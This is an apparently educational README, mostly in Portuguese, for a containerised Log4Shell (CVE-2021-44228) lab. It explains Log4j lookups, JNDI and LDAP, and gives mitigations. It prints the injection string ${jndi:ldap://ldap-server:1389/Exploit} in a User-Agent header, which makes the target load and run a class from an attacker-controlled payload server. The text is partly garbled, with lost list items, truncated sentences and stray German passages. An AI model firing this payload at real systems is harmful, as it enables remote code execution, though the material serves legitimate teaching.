
Demonstração prática da vulnerabilidade Log4Shell (CVE-2021-44228)
Este repositório é destinado exclusivamente a fins educacionais e de demonstração no âmbito de um trabalho de seminário relacionado à segurança. Não utilize este código em ambientes de produção ou contra sistemas sem permissão explícita. A configuração visa promover a conscientização sobre segurança e mostrar como vulnerabilidades complexas podem surgir quando recursos aparentemente inofensivos, como registro (logging), resolução de nomes e carregamento dinâmico de classes, são combinados.
O objetivo deste trabalho de seminário é proporcionar uma compreensão aprofundada da vulnerabilidade de segurança Log4Shell (CVE-2021-44228), que se tornou conhecida em dezembro de 2021 e foi classificada como uma das vulnerabilidades mais críticas dos últimos anos. O trabalho explica tanto os fundamentos teóricos quanto demonstra uma demonstração prática da vulnerabilidade.
Para ilustrar praticamente a vulnerabilidade de segurança Log4Shell, foi construído neste repositório um ambiente isolado e containerizado que reproduz todo o fluxo de ataque de forma reproduzível. A demonstração baseia-se em três componentes principais:
User-Agent da requisição HTTP, que os atacantes podem manipular para explorar a vulnerabilidade.Exploit.class). Assim como o servidor LDAP, este servidor está sob controle do atacante.Nota: Informações mais detalhadas sobre a configuração e execução da demonstração encontram-se na seção 4. Estrutura do Projeto e Configuração e 5. Demonstração do Projeto.
Log4Shell é o nome de uma vulnerabilidade crítica de segurança na biblioteca Java Log4j com a designação CVE-2021-44228. Ela permite que um atacante, com mínimo esforço, execute código arbitrário em um servidor remoto (Remote Code Execution, ou RCE).
A vulnerabilidade afeta o Log4j nas versões 2.0 a 2.14.1 e é tão grave que foi classificada com o nível de risco máximo por muitas autoridades de segurança, incluindo o BSI (Escritório Federal de Segurança da Informação da Alemanha).
Log4Shell é particularmente perigosa porque ...
A causa real reside em uma funcionalidade do Log4j que permite carregar conteúdo dinâmico em mensagens de log através dos chamados Lookups. Em combinação com JNDI (Java Naming and Directory Interface) e o protocolo LDAP (Lightweight Directory Access Protocol), isso permite carregar e executar classes Java maliciosas remotas.
A descoberta e divulgação da vulnerabilidade desencadeou uma onda de segurança mundial. Muitos sistemas tiveram que ser imediatamente corrigidos ou desligados. Posteriormente, outras vulnerabilidades relacionadas (por exemplo, CVE-2021-45046) foram descobertas, mostrando o quão profundo e perigoso o problema era.
A seguir, as tecnologias envolvidas e sua interação são explicadas em detalhes para desenvolver uma compreensão mais profunda da vulnerabilidade.
Log4j é uma biblioteca criada pela Apache para registro de eventos em aplicações Java. O registro (logging) é uma ferramenta central no desenvolvimento de software para monitorar sistemas ou analisar erros. Log4j está entre os frameworks de logging mais conhecidos e amplamente utilizados no ecossistema Java, sendo usado tanto em aplicações pequenas quanto em grandes sistemas empresariais.
Enquanto um programa é executado, ocorrem eventos como, por exemplo:
Esses eventos podem ser documentados com logs, geralmente como saída de texto no console, em arquivos ou através de protocolos de rede para servidores de log centralizados. Através de um logging adequado, é possível rastrear o que uma aplicação fez e quando fez.
O Log4j oferece uma infraestrutura flexível e altamente configurável para geração e processamento de mensagens de log. Entre as funcionalidades centrais estão:
DEBUG, INFO, WARN, ERROR), que permitem controlar o nível de detalhe do registro.Outras funcionalidades relevantes para o trabalho de seminário serão abordadas em seções posteriores, especialmente a funcionalidade de placeholders e a funcionalidade de Lookup.
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Example { private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.info("Starte Anwendung...");
}
}
Neste exemplo simples, uma instância de logger é criada ou recuperada, caso já exista. Em seguida, uma mensagem de log é emitida no nível `INFO`. O Log4j cuida da formatação e saída da mensagem, com base na configuração. Um exemplo de configuração poderia ser assim:```xml
<Configuration status="WARN">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1} - %m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Esta configuração define um appender que exibe mensagens de log no formato Datum Uhrzeit Log-Level Loggername - Nachricht no console. Este appender é então atribuído ao root logger, que processa todas as mensagens de log a partir do nível INFO.
A saída poderia então se parecer com:``` 2023-10-01 12:00:00 INFO Example - Starte Anwendung...
Agora vamos aos recursos específicos do Log4j que são mais relevantes para a vulnerabilidade Log4Shell.
#### Placeholders em Mensagens de Log
Um recurso particularmente útil do Log4j é o suporte a **placeholders** em mensagens de log. Isso permite que conteúdos dinâmicos sejam inseridos na saída do log em tempo de execução:```java
String username = "Alice";
logger.info("Benutzer angemeldet: {}", username);
Assim, em tempo de execução, {} é substituído pelo valor real da variável username. Isso resulta na seguinte saída:```text
"Benutzer angemeldet: Alice"
#### Expressões dinâmicas chamadas Lookups
Além de placeholders simples, o Log4j também oferece a possibilidade de resolver expressões mais complexas diretamente na mensagem de log. Essa função se chama **Lookup**: ela permite inserir valores dinamicamente em tempo de execução (por exemplo, variáveis de ambiente, informações do sistema ou valores de configuração)
Exemplos de tais expressões dinâmicas:
- `${env:HOME}` - retorna o valor da variável de ambiente `HOME`. No Linux / macOS seria, por exemplo, `/home/username`.
- `${docker:...}` - poderia fornecer informações sobre o contêiner Docker no qual a aplicação está sendo executada.
- `${jndi:...}` - realiza uma consulta JNDI para carregar recursos internos ou externos.
Na próxima seção, a funcionalidade JNDI será examinada mais detalhadamente, pois desempenha um papel central na vulnerabilidade de segurança Log4Shell.
### 3.2 JNDI - Mecanismo de Lookup
**JNDI** significa _Java Naming and Directory Interface_ e é uma API Java padronizada que permite acessar **serviços de nomes e diretórios**. Com JNDI, aplicações Java podem referenciar recursos não diretamente por caminhos técnicos, mas por nomes simbólicos.
Um uso clássico do JNDI é a consulta de conexões de banco de dados, que você vê aqui:```java
public class JndiExample {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Datasource ds = (DataSource) ctx.lookup("java:/comp/env/jdbc/myDB");
// Datenbankverbindung verwenden
}
}
Primeiro, um InitialContext é criado, que representa o ponto de entrada para a resolução de nomes usando JNDI. Em seguida, através do método lookup, um recurso é procurado. Neste caso, uma fonte de dados (DataSource) com o nome simbólico java:/comp/env/jdbc/myDB.

A aplicação Java utiliza a interface independente de protocolo do JNDI, que contém classes como InitialContext, com o método lookup. A API é sempre a mesma, seja usando LDAP, DNS, etc. O Naming Manager atua como intermediário e seleciona o Service Provider adequado, que realiza a comunicação real. O JNDI SPI (Service Provider Interface) é uma coleção de classes que implementam a funcionalidade JNDI para vários protocolos. No nosso caso, o Service Provider relevante é LDAP.
Na próxima seção, analisaremos mais de perto o Service Provider LDAP.
LDAP significa Lightweight Directory Access Protocol e é um protocolo de rede padronizado que permite o acesso a chamados serviços de diretório. Foi originalmente desenvolvido como uma alternativa leve ao X.500 e hoje é um padrão em muitas redes corporativas, especialmente para gerenciamento centralizado de usuários e permissões.
Um serviço de diretório é um banco de dados estruturado que armazena informações de forma hierárquica. Diferente dos bancos de dados relacionais, um diretório é:

Como se pode ver na imagem, um diretório LDAP está organizado em uma estrutura em árvore. No nível raiz estão os Domain Components (dc). Abaixo podem estar Organizational Units (ou), que representam subdivisões adicionais, como por exemplo Users. Para usuários ou objetos individuais, existem Common Names (cn), que identificam a entrada específica e podem conter vários atributos.
Significado:
dn: Distinguished Namedc: Domain Componentou: Organizational Unitcn: Common NameVejamos agora como o LDAP é acessado e qual o seu papel na vulnerabilidade Log4Shell.
É possível armazenar em LDAP também referências a classes externas, que podem ser carregadas sob demanda. Isso é feito através de atributos especiais como javaClassName e javaCodeBase. Esses atributos podem apontar para uma URL da qual uma classe Java deve ser carregada.
Com a seguinte URL, por exemplo, podemos consultar um objeto que referencia uma classe Java:``` ldap://ldap-server:1389/Exploit

Como pode ser visto na imagem, a entrada LDAP contém um atributo `javaClassName` que referencia a classe `Exploit`. Com o atributo `javaCodeBase` é especificada a URL a partir da qual a classe será carregada. Neste caso, é um servidor HTTP com o endereço `http://payload-server/`, que fornece a `Exploit.class`.
Agora examinamos todos os componentes técnicos em detalhe. Na próxima secção, será descrito o fluxo geral da vulnerabilidade Log4Shell, para compreender como estas tecnologias interagem e que vetor de ataque surge disso.
### 3.4 Fluxo geral do Log4Shell
Depois de examinarmos individualmente as três tecnologias envolvidas, **Log4j** como framework de logging, **JNDI** como interface para serviço de diretório e **LDAP** como serviço de diretório concreto, torna-se agora claro como a sua combinação pode ser perigosa quando não foram tomadas medidas de segurança.
Nas versões do Log4j até 2.14.1, era possível fazer com que os chamados **Lookups** fossem avaliados diretamente nas mensagens de log. Dessa forma, consultas JNDI podiam ser incorporadas através de LDAP, que então podiam carregar e executar quaisquer classes Java de um servidor remoto, sem ter ativado explicitamente esta funcionalidade.
#### Cenário concreto na interação:
Agora vamos aplicar o que acabámos de aprender num exemplo concreto. Como primeiro passo, iniciamos uma consulta JNDI com a seguinte expressão:```text
${jndi:...}
Agora vamos usar o provedor de serviço LDAP para carregar uma classe Java remota ldap://ldap-server:1389/Exploit. Juntos, isso resulta na seguinte string:```text
${jndi:ldap://ldap-server:1389/Exploit}
Nun muss nur noch ein Angreifer dafür sorgen, dass diese Zeichenkette in eine Log-Nachricht gelangt, z. B. durch Manipulation eines HTTP-Headers.

Wie man auf dem Bild sieht, gibt es links den Angreifer, der einen eigenen LDAP-Server und Payload-Server hostet. Rechts ist die verwundbare Anwendung mit der Log4j Version 2.14.1. Der Ablauf des Angriffs ist wie folgt:
1. Ein Angreifer sendet eine HTTP-Anfrage an die Anwendung und trägt die oben gezeigte manipulierte Zeichenkette zum Beispiel in den `User-Agent`-Header ein: ```http
User-Agent: ${jndi:ldap://ldap-server:1389/Exploit}
User-Agent: ```java
logger.info("User-Agent: {}", request.getHeader("User-Agent"));
O Log4j reconhece ${jndi:...} e realiza automaticamente uma consulta JNDI através do protocolo especificado ldap
Agora, o provedor de serviço LDAP é chamado para resolver a URL fornecida ldap://ldap-server:1389/Exploit.
O servidor LDAP responde com uma referência a uma classe Java externa (Exploit.class), que está localizada no seguinte servidor: ```
http://payload-server:8000/Exploit.class
O aplicativo envia uma solicitação ao servidor de payload para carregar a Exploit.class.
O servidor de payload responde com a classe Java Exploit.class. Em seguida, essa classe é executada sem qualquer validação. O atacante tem assim o controle completo sobre o código que é executado no servidor vulnerável.
Porque:
A interação de lookups dinâmicos no Log4j, resolução flexível de nomes pelo JNDI e o protocolo LDAP cria uma superfície de ataque inesperada. O que originalmente foi concebido como um recurso de configuração poderoso tornou-se uma porta de entrada para Execução Remota de Código.
Na próxima seção, a estrutura do projeto e a configuração da demonstração são descritas para executar a vulnerabilidade localmente.
A estrutura do projeto reflete os três componentes centrais:```text log4shell/ ... ├── vulnerable-app/ # Verwundbare Spring Boot-Anwendung mit Log4j 2.14.1 ├── ldap-server/ # LDAP-Server (Fork von marshalsec) ├── payload-server/ # HTTP-Server zur Auslieferung des Exploit-Payloads ...
### 4.2 Pré-requisitos
Para executar a demonstração Log4Shell localmente, são necessários os seguintes pré-requisitos:
#### Docker & Docker Compose
Toda a infraestrutura é baseada em contêineres. O Docker garante que cada componente (vulnerable-app, ldap-server, payload-server) seja executado em um ambiente isolado.
- **Docker**:
Instalação em [https://www.docker.com/get-started](https://www.docker.com/get-started)
- **Docker Compose** (já incluído no Docker Desktop)
Alternativamente, pode ser instalado através de [https://docs.docker.com/compose/](https://docs.docker.com/compose/)
#### cURL
Para executar o ataque pela linha de comando, pode ser usada a ferramenta `curl`:
- Já pré-instalado no Linux/macOS
- No Windows via [https://curl.se/](https://curl.se/) ou incluído no Git Bash
> **Nota:** A aplicação e todos os servidores incluídos são executados localmente em seu computador e comunicam-se exclusivamente dentro de uma rede Docker isolada (`log4shell-network`). Nenhuma conexão com servidores externos é necessária ou estabelecida.
### 4.3 Configuração
Nesta seção, descrevemos como configurar e iniciar o ambiente localmente.
#### Passo 1: Clonar o repositório```bash
git clone https://github.com/fabioeletto/hka-seminar-log4shell.git
cd hka-seminar-log4shell
Com o Docker Compose, todos os serviços necessários podem ser iniciados com um único comando:```bash docker-compose up --build
`docker-compose up --build` causa:
- As imagens para `vulnerable_app`, `ldap_server` e `payload_server` são construídas
- Todos os três serviços são iniciados
- Eles se comunicam através de uma rede interna comum do Docker (`log4shell-network`)
Após a inicialização bem-sucedida, a aplicação está acessível através do seguinte endpoint:```
http://localhost:8080
Saídas de log e eventos aparecem ao vivo no console. Os contêineres são executados enquanto a janela do terminal estiver aberta (ou o processo estiver sendo executado em segundo plano).
Nota: Certifique-se de que nenhum outro serviço está em execução nas portas 8080, 1389 ou 8000 para evitar conflitos.
Se desejar fechar os contêineres, você pode fazer isso com
docker-compose down. Isso interromperá e removerá todos os contêineres em execução, mas as imagens permanecerão.
Nesta seção, é mostrado como a vulnerabilidade Log4Shell pode ser acionada de forma direcionada no ambiente de demonstração fornecido. Neste processo, todos os componentes iniciados anteriormente trabalham juntos:
User-Agent com Log4jExploit.class)Para executar a demonstração, você precisará de duas janelas de console. Primeiro, inicie o ambiente com docker-compose up --build em um terminal, caso ainda não o tenha feito. Em um segundo terminal, execute os seguintes passos:
Verifique se o arquivo ainda não existe:
Como se trata de uma demonstração, como exploit é criado apenas um arquivo vazio para demonstrar a execução bem-sucedida. Você pode verificar isso na classe payload-server/Exploit.java. Para verificar se o arquivo ainda não existe, execute o seguinte comando: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Se o arquivo não existir, uma mensagem de erro como No such file or directory deve aparecer. Isso confirma que o exploit ainda não foi executado.
Explicação do payload:
${jndi:...}: Log4j interpreta esta expressão automaticamente e realiza uma pesquisa JNDI.ldap://ldap-server:1389: Conecta-se ao servidor LDAP que está em execução na rede Docker./Exploit: Nome da entrada LDAP que aponta para a classe maliciosa.http://localhost:8080: A URL da aplicação vulnerável para a qual você envia a requisição para acionar a vulnerabilidade Log4j.O que acontece em segundo plano?

User-AgentUser-Agent e realiza uma pesquisa JNDI via LDAPExploit.class remota, fornecida pelo servidor de payloadNota: Como já mencionado, nesta demonstração é criado apenas um arquivo vazio para demonstrar a execução bem-sucedida. Em cenários reais de ataque, qualquer código poderia ser executado!
Verificar a sequência do ataque
Agora você pode verificar novamente se o arquivo /tmp/remote_code_execution foi criado no container: ```bash
docker exec vulnerable_app ls -l /tmp/remote_code_execution
Se o ataque foi bem-sucedido, você deve ver a seguinte saída: ``` -rw-r--r-- 1 root root 0 Jun 9 12:34 /tmp/remote_code_execution
Com apenas uma única linha de log manipulada, um processo completo de execução remota de código é desencadeado, exatamente isso que torna o Log4Shell tão perigoso. Esta demonstração mostra como a interação entre **Log4j**, **JNDI** e **LDAP** pode levar à exploração.
## 6. Medidas de Proteção
A vulnerabilidade Log4Shell mostrou como aplicações modernas podem ser profundamente comprometidas por recursos aparentemente inofensivos. Para proteger sistemas eficazmente contra tais ataques, as seguintes medidas devem ser implementadas:
- **Atualizar versão do Log4j (no mínimo 2.17.1)**
A medida mais importante é a **atualização para uma versão do Log4j ≥ 2.17.1**, pois somente a partir desta versão todas as vulnerabilidades conhecidas (incluindo DoS e exploits de configuração) foram corrigidas. Versões anteriores permanecem vulneráveis e não devem mais ser usadas!
- **Desativar JNDI Lookups**
Caso uma atualização completa não seja possível, os **JNDI Lookups devem ser desativados**. Isso pode ser feito no arquivo `log4j2.properties` definindo a seguinte configuração: ```properties
log4j2.formatMsgNoLookups=true
Essa configuração impede que o Log4j avalie consultas JNDI em mensagens de log. Com isso, a superfície de ataque é reduzida significativamente. No entanto, isso é apenas uma solução temporária, pois outras vulnerabilidades podem continuar existindo (DoS, explorações de configuração).
Validar entradas
Todas as entradas do usuário devem ser validadas e higienizadas antes de serem usadas em mensagens de log. Em particular, expressões dinâmicas como ${jndi:...} não devem ser adotadas diretamente.
Restringir conexões de rede de saída
Um componente central do exploit era o acesso irrestrito a servidores externos controlados pelo atacante. Os sistemas devem ser configurados para não conseguir alcançar qualquer destino externo, por exemplo, por meio de firewalls ou políticas de rede. Em particular, o acesso a destinos LDAP desconhecidos a partir da aplicação deve ser bloqueado.
A vulnerabilidade Log4Shell mostra de forma impressionante como é importante não confiar apenas na segurança do próprio código, mas também selecionar e compreender cuidadosamente as bibliotecas e frameworks utilizados. Neste caso, uma biblioteca de logging aparentemente inofensiva (Log4j) levou a uma vulnerabilidade de execução remota de código. Isso mostra que até dependências podem se tornar uma porta de entrada para explorações. Deve-se sempre perguntar se realmente precisa de uma biblioteca externa ou se uma função pode ser implementada sem dependências adicionais.
Outro ponto importante é o tema da complexidade oculta. Funções como ${env:HOME} dentro de uma mensagem de log parecem inofensivas, mas escondem mecanismos complexos nos bastidores, como consultas dinâmicas. Dessa forma, comportamentos perigosos podem se infiltrar despercebidamente. Alternativamente, é melhor usar soluções explícitas e transparentes, como System.getenv("HOME"), pois assim mantém-se o controle e pode-se compreender o que está acontecendo.
Além disso, aplica-se um princípio geral, mas frequentemente negligenciado: Nunca processar entradas do usuário sem verificação. Especialmente em operações relevantes para a segurança, como logging, acessos a banco de dados ou comandos do sistema, as entradas devem ser validadas e higienizadas.
Por último, o incidente mostra como pode ser perigoso quando funcionalidades poderosas como consultas JNDI estão ativadas por padrão. Se no Log4j essa função não estivesse ativada por padrão, apenas um pequeno subconjunto dos sistemas teria sido afetado.
As principais conclusões: